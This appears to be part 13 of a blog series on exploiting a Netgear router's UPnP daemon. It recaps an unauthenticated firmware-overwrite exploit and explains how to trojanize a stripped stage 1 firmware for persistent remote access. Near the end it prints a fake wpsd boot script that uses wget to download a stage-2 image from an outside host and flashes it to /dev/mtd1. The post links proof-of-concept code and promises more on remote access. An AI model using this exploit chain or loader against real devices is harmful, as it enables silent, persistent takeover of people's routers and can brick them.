As of the previous part, the exploitation phase is complete, which is to say we are able to have the Netgear UPnP daemon overwrite the firmware on flash storage with arbitrary data of our choosing. We are able to do this without authentication.
This and the next part will cover post exploitation. We're able to write a firmware with whatever customization we desire. How should we trojanize the firmware image so that the exploit yields persistent remote access?
Updated Exploit CodeThis week's update to the proof-of-concept code is substantial. There is a new part_13 directory that corresponds to this post. The SetFirmware exploit and firmware generation code remains the same. However, there is a new payload-src directory which contains code for generating a stage 1 (and later, stage 2) payload. The README in part_13 has been updated with details on assembling the stage 1 firmware. Now is a good time to do a git pull. If you don't have the code, you can clone it from:
RecapBefore discussing post-exploitation firmware, it's worth recapping how the exploit works. It goes roughly like this:
- Send HTTP headers for a SOAP request, including a magic
- Sleep one second
- Send remainder of the SOAP request with trojan firmware base64 encoded within
- Sleep 1-2 seconds
- The firmware must be stripped down to less than 4MB to avoid crashing upnpd
- If the firmware header passes minimal inspection and avoids crashing upnpd, it is written to flash, replacing the original firmware
- The target reboots into the new firmware
The second implication is that there is nothing remaining in the stripped down firmware with which to parse and flash the second stage firmware image. We'll need to come up with a mechanism to do the downloading and flashing of stage 2 and integrate it into the minimized stage 1 image. Of course, in order to stay under 4MB, this mechanism must be as small as possible.
How to Bootstrap Stage 2?
This can be broken down into two problems:
- How to kick off this process automatically at boot time?
- How to parse and flash the firmware image?
/usr/sbin/wpsdscript; it runs late in the boot sequence. Luckily, we still have
wgeton the system (it's one of busybox's personalities), so downloading the second stage is simple.
For the second problem, flashing the downloaded image, we'll need to provide a utility, since there's nothing left that will do this for us. Because it was late at night when I was working on this part, I didn't want to spend time writing my own utility to parse the ambit image, and to do gymnastics involved writing the image. Fortunately, the OpenWRT project provides an mtd-writing utility that handles all the semantics of unlocking, erasing, and writing
/dev/mtdflash memory devices.
I had to patch the utility to remove functionality we don't need, thereby eliminating some library dependencies. Since OpenWRT is GPL licensed, I didn't want to include it in this project's source code. The README in part 13 of the PoC code describes how to clone my mtdwriter project and put it in the right place so the stage 1 Makefile will find and build it. For the curious, the customized mtd utility is located here:
You will, of course, need a uClibc little endian MIPS cross compiler to build it. I recommend using buildroot to build the cross compiler.
mtddoesn't know anything about the ambit firmware image. It's only useful insofar as it can write arbitrary data to a
/dev/mtddevice. This actually works out for the best; bootstrapping the second stage is a sensitive operation. If anything goes wrong, the target device will be bricked. Moving as much complexity as possible off the target and into the payload building stage is good.
Since we already have code that generates an ambit firmware image, the easiest thing to do is to preprocess that file and turn it into a flat image that can be laid down on the appropriate flash partition. The
mtdutility just writes an opaque blob with no knowledge of what it's writing.
Below is the "fake"
wpsdscript that downloads the second stage and flashes it using the
#!/bin/sh echo "Fake wpsd" S2MTD=stage2mtd.bin echo "Initializing update procedure for Stage 2 firmware." # download stage 2 wget http://10.12.34.56:8080/$S2MTD -O /tmp/$S2MTD || exit 1 # write stage 2 to /dev/mtd1. -r option reboots. mtd -r write /tmp/$S2MTD /dev/mtd1
When we roll those changes into the minimized stage 1 firmware, then exploit the UPnP server, the device should reboot, then download and flash the second stage firmware image. You'll need to serve the stage 2 image over HTTP so wget can download it. We'll cover that in part 14.
Also in the next and final part, we'll discuss preprocessing an ambit image for easy writing to flash. We'll also address what the second stage firmware should contain such that it yields persistent, remote access.